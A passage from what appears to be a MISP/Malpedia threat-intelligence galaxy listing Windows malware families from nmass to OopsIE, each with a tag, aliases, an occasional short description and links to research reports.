https://redcanary.com/blog/threat-detection/network-traffic-tunneling/

https://info.spamhaus.com/hubfs/Botnet%20Reports/Q4%202023%20Botnet%20Threat%20Update.pdf

https://lab52.io/blog/apt-c-36-from-njrat-to-apt-c-36/

https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains

https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf

https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/

https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware

https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g

https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/

https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.njRAT

https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/

https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel

http://threatgeek.typepad.com/files/fta-1009---njrat-uncovered-1.pdf

https://di.sclosu.re/en/njrat-malware-spreading-through-discord-cdn-and-facebook-ads/

https://infosecwriteups.com/unfolding-nj-rat-07nc-and-064d14b875c7cd8-d14b875c7cd8

https://securelist.com/apt-trends-report-q2-2019/91897/

https://embeeresearch.io/practical-queries-for-malware-infrastructure-part-3/

https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt

https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols

https://news.sophos.com/en-us/2020/05/14/raticate/

https://embee-research.ghost.io/practical-queries-for-malware-infrastructure-part-3/

https://www.ciphertechsolutions.com/roboski-global-recovery-automation/

https://blogs.360.cn/post/APT-C-44.html

https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html

https://forensicitguy.github.io/njrat-installed-from-msi/

https://unit42.paloaltonetworks.com/njrat-pastebin-command-and-control

https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf

https://blog.reversinglabs.com/blog/rats-in-the-library

https://twitter.com/ESETresearch/status/1449132020613922828

https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/

https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf

https://www.seqrite.com/documents/en/white-papers/Whitepaper-OperationSideCopy.pdf

https://labs.k7computing.com/?p=21904
https://www.secureworks.com/research/threat-profiles/copper-fieldstone
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf
https://blog.sonatype.com/bladabindi-njrat-rat-in-jdb.js-npm-malware
https://blog.talosintelligence.com/2021/08/rat-campaign-targets-latin-america.html
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://intel471.com/blog/privateloader-malware
https://netresec.com/?b=2541a39
https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/
https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf
https://www.ecucert.gob.ec/wp-content/uploads/2022/03/alerta-APTs-2022-03-23.pdf
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jul-Dec%202024%20Botnet%20Threat%20Update.pdf
https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/

nmass malware

It’s .NET Rat with harcoded key

The tag is: *misp-galaxy:malpedia="nmass malware"*

nmass malware is also known as:

Table 4630. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nmass
https://sebdraven.medium.com/a-net-rat-target-mongolia-9c1439c39bc2

Nocturnal Stealer

The tag is: *misp-galaxy:malpedia="Nocturnal Stealer"*

Nocturnal Stealer is also known as:

Table 4631. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nocturnalstealer

https://www.proofpoint.com/us/threat-insight/post/thief-night-new-nocturnal-stealer-grabs-data-cheap

NodeStealer

The tag is: *misp-galaxy:malpedia="NodeStealer"*

NodeStealer is also known as:

Table 4632. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.node_stealer
https://unit42.paloaltonetworks.com/nodestealer-2-targets-facebook-business/

Nokki

Nokki is a RAT type malware which is believe to evolve from Konni RAT. This malware has been tied to attacks containing politically-motivated lures targeting Russian and Cambodian speaking individuals or organizations. Researchers discovered a tie to the threat actor group known as Reaper also known as APT37.

The tag is: *misp-galaxy:malpedia="Nokki"*

Nokki is also known as:

Table 4633. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nokki
https://cocomelonc.github.io/malware/2025/05/01/malware-tricks-46.html
https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/
https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf

Nokoyawa Ransomware

The tag is: *misp-galaxy:malpedia="Nokoyawa Ransomware"*

Nokoyawa Ransomware is also known as:

Table 4634. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nokoyawa
https://thedfirreport.com/2024/04/01/from-onenote-to-ransomnote-an-ice-cold-intrusion/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-007.pdf
https://www.intrinsec.com/prospero-proton66-tracing-uncovering-the-links-between-bulletproof-networks/
https://thedfirreport.com/2023/05/22/icedid-macro-ends-in-nokoyawa-ransomware/
https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/
https://www.zscaler.com/blogs/security-research/nevada-ransomware-yet-another-nokayawa-variant
https://github.com/MalGamy/YARA_Rules/blob/main/Nokoyawa.yara
https://www.trendmicro.com/en_us/research/22/c/nokoyawa-ransomware-possibly-related-to-hive-.html
https://www.zscaler.com/blogs/security-research/nokoyawa-ransomware-rust-or-bust
https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/
https://malgamy.github.io/malware-analysis/Nokoyawa/
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v

NominatusToxicBattery

A wiper that overwrites target files with itself, thus spreading in virus-fashion.

The tag is: *misp-galaxy:malpedia="NominatusToxicBattery"*

NominatusToxicBattery is also known as:

Table 4635. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nominatus_toxic_battery
https://twitter.com/struppigel/status/1501473254787198977
https://www.trellix.com/en-us/about/newsroom/stories/research/wipermania-an-all-you-can-wipe-buffet.html

NonEuclid RAT

The tag is: *misp-galaxy:malpedia="NonEuclid RAT"*

NonEuclid RAT is also known as:

Table 4636. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.noneuclid_rat
https://www.cyfirma.com/research/noneuclid-rat/

NOOPDOOR

The tag is: *misp-galaxy:malpedia="NOOPDOOR"*

NOOPDOOR is also known as:

- HiddenFace

Table 4637. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.noopdoor
https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_2_7_hara_shoji_higashi_vickie-su_nick-dai_en.pdf
https://blogs.jpcert.or.jp/en/2024/07/mirrorface-attack-against-japanese-organisations.html
https://www.trendmicro.com/en_us/research/24/k/lodeinfo-campaign-of-earth-kasha.html
https://www.macnica.co.jp/business/security/security-reports/pdf/cyberespionage_report_2023.pdf

Nopyfy

Ransomware

The tag is: *misp-galaxy:malpedia="Nopyfy"*

Nopyfy is also known as:

Table 4638. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nopyfy
https://labs.k7computing.com/index.php/say-no-to-nopyfy/

NOROBOT

The tag is: *misp-galaxy:malpedia="NOROBOT"*

NOROBOT is also known as:

- BAITSWITCH

Table 4639. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.norobot
https://cloud.google.com/blog/topics/threat-intelligence/new-malware-russia-coldriver
https://www.zscaler.com/blogs/security-research/coldriver-updates-arsenal-baitswitch-and-simplefix

NorthStar

An open source C2 framework intended for pentest and red teaming activities.

The tag is: *misp-galaxy:malpedia="NorthStar"*

NorthStar is also known as:

Table 4640. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.northstar
https://www.mandiant.com/resources/suspected-iranian-actor-targeting-israeli-shipping

Nosu

According to PCrisk, Nosu is the name of a malicious program classified as a stealer. This malware is designed to steal information from infected machines. The Nosu stealer can extract a wide variety of data from devices and installed applications. The most active campaigns associated with Nosu were noted in North and South America, as well as Southeast Asia.

The tag is: *misp-galaxy:malpedia="Nosu"*

Nosu is also known as:

Table 4641. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nosu
https://www.bitsight.com/blog/cova-and-nosu-new-loader-spreads-new-stealer

Nova Stealer

Nova Stealer is a new information stealer that is offered as Malware-as-a-Service by a new French-speaking actor called "Nova Sentinel". Its capabilities include password stealing, browser injections, crypto wallet stealing, discord injections, and screen recordings. Parts of its source code have been made available on GitHub, with certain "Premium" features missing.

The tag is: *misp-galaxy:malpedia="Nova Stealer"*

Nova Stealer is also known as:

- Malicord

Table 4642. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nova
https://www.elastic.co/es/security-labs/maas-appeal-an-infostealer-rises-from-the-ashes
https://www.gatewatcher.com/lab/groupe-nova-sentinel/
https://www.cyfirma.com/outofband/emerging-maas-operator-sordeal-releases-nova-infostealer/
https://github.com/ElasBlueWHale2/Malicord

NoxPlayer

The tag is: *misp-galaxy:malpedia="NoxPlayer"*

NoxPlayer is also known as:

Table 4643. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.noxplayer
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf
https://www.welivesecurity.com/2021/02/01/operation-nightscout-supply-chain-attack-online-gaming-asia/

Nozelesn (Decryptor)

The tag is: *misp-galaxy:malpedia="Nozelesn (Decryptor)"*

Nozelesn (Decryptor) is also known as:

Table 4644. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nozelesn_decryptor

No-Justice

The tag is: *misp-galaxy:malpedia="No-Justice"*

No-Justice is also known as:

Table 4645. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.no_justice
https://www.clearskysec.com/wp-content/uploads/2024/01/No-Justice-Wiper.pdf

nRansom

The tag is: *misp-galaxy:malpedia="nRansom"*

nRansom is also known as:

Table 4646. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nransom
https://motherboard.vice.com/en_us/article/yw3w47/this-ransomware-demands-nudes-instead-of-bitcoin
https://www.kaspersky.com/blog/nransom-nude-ransomware/18597/
https://twitter.com/malwrhunterteam/status/910952333084971008

NSPX30

The tag is: *misp-galaxy:malpedia="NSPX30"*

NSPX30 is also known as:

Table 4647. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nspx30
https://blog.sonicwall.com/en-us/2024/01/blackwood-apt-group-has-a-new-dll-loader/
https://www.welivesecurity.com/en/eset-research/nspx30-sophisticated-aitm-enabled-implant-evolving-since-2005/
https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_1_2_facundo_en.pdf

Ntospy

Ntospy is a credential stealer leveraging a well-established technique of abusing the Windows Network Provider interface, a method documented as early as 2004 and exemplified by tools like NPPSpy. Posing as a legitimate Network Provider DLL, Ntospy injects itself into the Windows authentication process, hijacking login attempts to harvest user credentials. It achieves this by registering a malicious Network Provider, typically named "credman," which intercepts authentication requests and redirects them to it malicious DLL.

Instead of immediately exfiltrating the stolen data, Ntospy employs a form of local storage, writing the captured credentials in cleartext to files disguised as harmless Microsoft Update packages using

the .msu file extension. These files are often planted in system directories with believable names like "c:/programdata/package cache/windows10.0-kb5009543-x64.msu," further masking their malicious purpose.

Adding to its stealth, Ntospy incorporates obfuscation techniques to evade detection. This includes using seemingly innocuous filenames for its DLL, often mimicking critical system files like "ntoskrnl.dll" to blend in. Some variants even go a step further by encrypting the credential storage file path within the DLL, requiring analysis and decryption to uncover its full functionality.

The tag is: *misp-galaxy:malpedia="Ntospy"*

Ntospy is also known as:

Table 4648. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ntospy
https://unit42.paloaltonetworks.com/new-toolset-targets-middle-east-africa-usa/
https://unit42.paloaltonetworks.com/operation-diplomatic-specter/

NuggetPhantom

NSFOCUS describes PhantomNugget as a modularized malware toolkit, that was spread using EternalBlue. Payloads included a RAT and a XMRig miner.

The tag is: *misp-galaxy:malpedia="NuggetPhantom"*

NuggetPhantom is also known as:

Table 4649. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nugget_phantom
https://staging.nsfocusglobal.com/wp-content/uploads/2018/10/NuggetPhantom-Analysis-Report-V4.1.pdf
https://redcanary.com/blog/tracking-driver-inventory-to-expose-rootkits/

Nullmixer

Nullmixer is a dropper/loader for additional malware. It is known to drop a vast amount of different malware, such as info stealers, rats and additional loaders. Samples observed contained up to 8 additional payloads.

The tag is: *misp-galaxy:malpedia="Nullmixer"*

Nullmixer is also known as:

Table 4650. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nullmixer
https://www.youtube.com/watch?v=v_K_zoPGpdk
https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1
https://www.youtube.com/watch?v=yLQfDk3dVmA
https://www.youtube.com/watch?v=92jKJ_G_6ho
https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/

Numando

According to PCrisk, Numando is a banking trojan written in the Delphi programming language. As the malicious program's classification implies, it is designed to steal banking information. Numando primarily targets Brazil, with seldom campaigns occurring in Mexico and Spain.

The tag is: *misp-galaxy:malpedia="Numando"*

Numando is also known as:

Table 4651. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.numando
https://www.welivesecurity.com/2020/10/01/latam-financial-cybercrime-competitors-crime-sharing-ttps/
https://www.welivesecurity.com/2021/09/17/numando-latam-banking-trojan/

NVISOSPIT

The tag is: *misp-galaxy:malpedia="NVISOSPIT"*

NVISOSPIT is also known as:

Table 4652. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nvisospit
https://twitter.com/Bank_Security/status/1134850646413385728
http://www.isg.rhul.ac.uk/dl/weekendconference2014/slides/Erik_VanBuggenhout.pdf
https://twitter.com/r3c0nst/status/1135606944427905025

N-W0rm

The tag is: *misp-galaxy:malpedia="N-W0rm"*

N-W0rm is also known as:

- NWorm
- nw0rm

Table 4653. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nworm
https://www.secuinfra.com/en/techtalk/n-w0rm-analysis-part-2/
https://www.secuinfra.com/en/techtalk/n-w0rm-analysis-part-1/
https://bazaar.abuse.ch/browse/tag/N-W0rm/

Nymaim

Nymaim is a trojan downloader. It downloads (and runs) other malware on affected systems and was one of the primary malware families hosted on Avalanche. Nymaim is different in that it displays a localized lockscreen while it downloads additional malware. Nymaim is usually delivered by exploit kits and malvertising.

The tag is: *misp-galaxy:malpedia="Nymaim"*

Nymaim is also known as:

- nymain

Table 4654. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim
https://public.gdatasoftware.com/Web/Landingpages/DE/GI-Spring2014/slides/004_plohmann.pdf
https://www.cert.pl/en/news/single/nymaim-revisited/
https://www.virusbulletin.com/conference/vb2017/abstracts/linking-xpaj-and-nymaim
https://arielkoren.com/blog/2016/11/02/nymaim-deep-technical-dive-adventures-in-evasive-malware/
https://blog.talosintelligence.com/goznym/
https://www.proofpoint.com/us/threat-insight/post/nymaim-config-decoded
https://www.proofpoint.com/us/what-old-new-again-nymaim-moves-past-its-ransomware-roots-0
https://www.justice.gov/opa/pr/goznym-cyber-criminal-network-operating-out-europe-targeting-american-entities-dismantled

https://www.sentinelone.com/blog/goznym-banking-malware-gang-busted/
https://www.lawfareblog.com/what-point-these-nation-state-indictments
https://www.shadowserver.org/news/goznym-indictments-action-following-on-from-successful-avalanche-operations/
https://securityintelligence.com/posts/goznym-closure-comes-in-the-shape-of-a-europol-and-doj-arrest-operation/
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://github.com/coldshell/Malware-Scripts/tree/master/Nymaim
https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/
https://bitbucket.org/daniel_plohmann/idapatchwork
https://www2.deloitte.com/content/dam/Deloitte/us/Documents/risk/us-aers-the-evolution-of-the-nymaim-criminal-enterprise.pdf

Nymaim2

According to bin.re, in April 2018 a new version of Nymaim appeared, that has dropped previous obfuscation, and uses a new wordlist based DGA (Domain Generation Algorithm).

The tag is: *misp-galaxy:malpedia="Nymaim2"*

Nymaim2 is also known as:

Table 4655. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim2
https://johannesbader.ch/2018/04/the-new-domain-generation-algorithm-of-nymaim/
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/

Nyxem

The tag is: *misp-galaxy:malpedia="Nyxem"*

Nyxem is also known as:

Table 4656. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nyxem
https://threats.kaspersky.com/en/threat/Email-Worm.Win32.Nyxem/

OATBOAT

OATBOAT is a loader that loads and executes shellcode payloads.

The tag is: *misp-galaxy:malpedia="OATBOAT"*

OATBOAT is also known as:

Table 4657. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oatboat
https://cloud.google.com/blog/topics/threat-intelligence/unc1860-iran-middle-eastern-networks?hl=en

Oblique RAT

The tag is: *misp-galaxy:malpedia="Oblique RAT"*

Oblique RAT is also known as:

Table 4658. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oblique_rat
https://blog.talosintelligence.com/2020/02/obliquerat-hits-victims-via-maldocs.html
https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html
https://www.bleepingcomputer.com/news/security/hackers-use-modified-mfa-tool-against-indian-govt-employees/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/Earth%20Karkaddan%20APT-%20Adversary%20Intelligence%20and%20Monitoring%20Report.pdf
https://brandefense.io/blog/apt-36-campaign-poseidon-malware-technical-analysis/
https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-backdoors-rats-loaders-evasion-techniques
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/IoCs_Investigating%20APT36%20or%20Earth%20Karkaddan%20Attack%20Chain%20and%20Malware%20Arsenal.rtf
https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html
https://www.secrss.com/articles/24995
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html

https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://securelist.com/transparent-tribe-part-2/98233/
https://www.trendmicro.com/en_us/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html
https://brandefense.io/blog/apt-groups/mythic-leopard-apt-group/

Obscene

The tag is: *misp-galaxy:malpedia="Obscene"*

Obscene is also known as:

Table 4659. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.obscene
https://sysopfb.github.io/malware/2020/02/28/Golang-Wrapper-on-an-old-malware.html
https://habr.com/ru/post/27053/

ObserverStealer

The tag is: *misp-galaxy:malpedia="ObserverStealer"*

ObserverStealer is also known as:

Table 4660. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.observer_stealer
https://medium.com/@cyberhust1er/observerstealer-unmasking-the-new-contender-in-cyber-crime-6e54a40d801d

OCEANMAP

The tag is: *misp-galaxy:malpedia="OCEANMAP"*

OCEANMAP is also known as:

Table 4661. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oceanmap
https://cert.gov.ua/article/6276894
https://github.com/blackorbird/APT_REPORT/blob/master/APT28/APT28%20the%20long%20hand%20of%20Russian%20interests.pdf

https://medium.com/@knight0x07/analyzing-apt28s-oceanmap-backdoor-exploring-its-c2-server-artifacts-db2c3cb4556b
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2025-CTI-007.pdf
https://harfanglab.io/en/insidethelab/compromised-routers-infrastructure-target-europe-caucasus/
https://thehackernews.com/2024/03/apt28-hacker-group-targeting-europe.html?m=1

Oceansalt

The tag is: *misp-galaxy:malpedia="Oceansalt"*

Oceansalt is also known as:

Table 4662. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oceansalt
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf

OctoberSeventh

Emanuele De Lucia summarizes that this wiper was sent to potential targets in phishing mails that impersonated ESET as a follow up to a breach of its Israeli distributor Comsecure.

The tag is: *misp-galaxy:malpedia="OctoberSeventh"*

OctoberSeventh is also known as:

- ESET Wiper

Table 4663. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.october_seventh
https://www.emanueledelucia.net/hey-eset-wait-for-the-leak-dissecting-the-octoberseventh-wiper-targeting-eset-customers-in-israel/
https://idanmalihi.com/eset-wiper-iranian-apt-group-toufans-politically-motivated-attack-on-israeli-firms/

Octopus (Windows)

The tag is: *misp-galaxy:malpedia="Octopus (Windows)"*

Octopus (Windows) is also known as:

Table 4664. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.octopus
https://isc.sans.edu/diary/26918
https://www.prodaft.com/m/reports/PAPERBUG_TLPWHITE-1.pdf
https://securelist.com/octopus-infested-seas-of-central-asia/88200/
https://mp.weixin.qq.com/s/v1gi0bW79Ta644Dqer4qkw

Octowave Loader

Octowave Loader is a malware loader used to run other families of malware. This is often made up of an MSI or Inno Setup installer for a legitimate piece of software that has been trojanised to include a number of malicious DLLs which inevitably load and run malicious code often stored within a WAV file that is also delivered to an endpoint. In the wild this has been seen delivered through fake software installers and ClickFix / Fake Captcha campaigns. Families of malware deployed often include information stealers, NetSupport RAT, and potentially bots like Danabot.

The tag is: *misp-galaxy:malpedia="Octowave Loader"*

Octowave Loader is also known as:

Table 4665. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.octowave
https://x.com/CyberRaiju/status/1893450184224362946

OddJob

The tag is: *misp-galaxy:malpedia="OddJob"*

OddJob is also known as:

Table 4666. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oddjob

Oderoor

Spam bot that was active around 2007 and after, one of the first malware families to use a domain generation algorithm.

The tag is: *misp-galaxy:malpedia="Oderoor"*

Oderoor is also known as:

- Bobax
- Kraken

Table 4667. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oderoor
https://web.archive.org/web/20160324035554/https://www.johannesbader.ch/2015/12/krakens-two-domain-generation-algorithms//
https://bin.re/blog/krakens-two-domain-generation-algorithms/
https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf

Odinaff

The tag is: *misp-galaxy:malpedia="Odinaff"*

Odinaff is also known as:

Table 4668. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.odinaff
https://web.archive.org/web/20161223002016/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks

Okrum

a new, previously unknown backdoor that we named Okrum. The malicious actors behind the Okrum malware were focused on the same targets in Slovakia that were previously targeted by Ketrican 2015 backdoors.

The tag is: *misp-galaxy:malpedia="Okrum"*

Okrum is also known as:

Table 4669. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.okrum
https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/
https://www.intezer.com/blog/research/the-evolution-of-apt15s-codebase-2020/
https://securelist.com/apt-trends-report-q3-2020/99204/

https://www.welivesecurity.com/2019/07/18/okrum-ke3chang-targets-diplomatic-missions/

OLDBAIT

According to FireEye, OLDBAIT is a credential stealer that has been observed to be used by APT28. It targets Internet Explorer, Mozilla Firefox, Eudora, The Bat! (an email client by a Moldovan company), and Becky! (an email client made by a Japanese company). It can use both HTTP or SMTP to exfiltrate data. In some places it is mistakenly named "Sasfis", which however seems to be a completely different and unrelated malware family.

The tag is: *misp-galaxy:malpedia="OLDBAIT"*

OLDBAIT is also known as:

- Sasfis

Table 4670. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oldbait
https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf
https://www.secjuice.com/fancy-bear-review/
https://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf

Olympic Destroyer

Malware which seems to have no function other than to disrupt computer systems related to the 2018 Winter Olympic event.

The tag is: *misp-galaxy:malpedia="Olympic Destroyer"*

Olympic Destroyer is also known as:

- SOURGRAPE

Table 4671. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.olympic_destroyer
https://www.mbsd.jp/blog/20180215.html
https://www.wired.com/story/untold-story-2018-olympics-destroyer-cyberattack/
https://www.endgame.com/blog/technical-blog/stopping-olympic-destroyer-new-process-injection-insights
https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too

https://www.virusbulletin.com/virusbulletin/2018/10/vb2018-paper-who-wasnt-responsible-olympic-destroyer/
https://www.youtube.com/watch?v=1jgdMY12mI8
http://blog.talosintelligence.com/2018/02/who-wasnt-responsible-for-olympic.html
http://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://securelist.com/olympic-destroyer-is-still-alive/86169/
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://attack.mitre.org/groups/G0034
https://www.lastline.com/labsblog/attribution-from-russia-with-code/
https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat
https://www.youtube.com/watch?v=rjA0Vf75cYk
https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/
https://www.lastline.com/labsblog/olympic-destroyer-south-korea/
https://www.youtube.com/watch?v=wCv9SiSA7Sw
https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf
https://securelist.com/apt-trends-report-q2-2019/91897/
https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf
https://www.youtube.com/watch?v=a4BZ3SZN-CI
https://securelist.com/the-devils-in-the-rich-header/84348/
https://www.wired.com/story/us-indicts-sandworm-hackers-russia-cyberwar-unit/
https://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/
https://securelist.com/apt-trends-report-q2-2020/97937/

Ondritols

According to Symantec, this malware has been deployed against IT services companies in the U.S. and Europe. A multi-stage backdoor, the first stage is a downloader that authenticates to Microsoft Graph API and downloads the second stage payload from OneDrive and executes it. The main payload will download a publicly available file from GitHub. It will then create a folder in OneDrive named deviceId_n_<ip address> for each infected machine and upload a file to OneDrive to signal the attackers the status of a new infection.

The tag is: *misp-galaxy:malpedia="Ondritols"*

Ondritols is also known as:

- Onedrivetools

Table 4672. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.ondritols
https://www.security.com/threat-intelligence/cloud-espionage-attacks

ONHAT

The tag is: *misp-galaxy:malpedia="ONHAT"*

ONHAT is also known as:

Table 4673. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.onhat
https://docs.google.com/spreadsheets/d/1H9_xaxQHpWaa4O_Son4Gx0YOIzlcBWMsdvePFX68EKU/htmlview
https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators

Oni

Ransomware.

The tag is: *misp-galaxy:malpedia="Oni"*

Oni is also known as:

Table 4674. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oni
https://www.bleepingcomputer.com/news/security/oni-ransomware-used-in-month-long-attacks-against-japanese-companies/

OnionDuke

OnionDuke is a new sophisticated piece of malware distributed by threat actors through a malicious exit node on the Tor anonymity network appears to be related to the notorious MiniDuke, researchers at F-Secure discovered. According to experts, since at least February 2014, the threat actors have also distributed the threat through malicious versions of pirated software hosted on torrent websites.

The tag is: *misp-galaxy:malpedia="OnionDuke"*

OnionDuke is also known as:

Table 4675. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.onionduke
https://www.secureworks.com/research/threat-profiles/iron-hemlock
https://www.f-secure.com/weblog/archives/00002764.html
https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/
http://contagiodump.blogspot.com/2014/11/onionduke-samples.html
https://blog.f-secure.com/podcast-dukes-apt29/

OnlinerSpambot

A spambot that has been observed being used for spreading Ursnif, Zeus Panda, Andromeda or Netflix phishing against Italy and Canada.

The tag is: *misp-galaxy:malpedia="OnlinerSpambot"*

OnlinerSpambot is also known as:

- Onliner
- SBot

Table 4676. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.onliner
https://www.blueliv.com/blog/research/analysis-spam-distribution-botnet-onliner-spambot/
https://benkowlab.blogspot.com/2017/08/from-onliner-spambot-to-millions-of.html
https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html
https://outpost24.com/blog/an-analysis-of-a-spam-distribution-botnet

OopsIE

The tag is: *misp-galaxy:malpedia="OopsIE"*

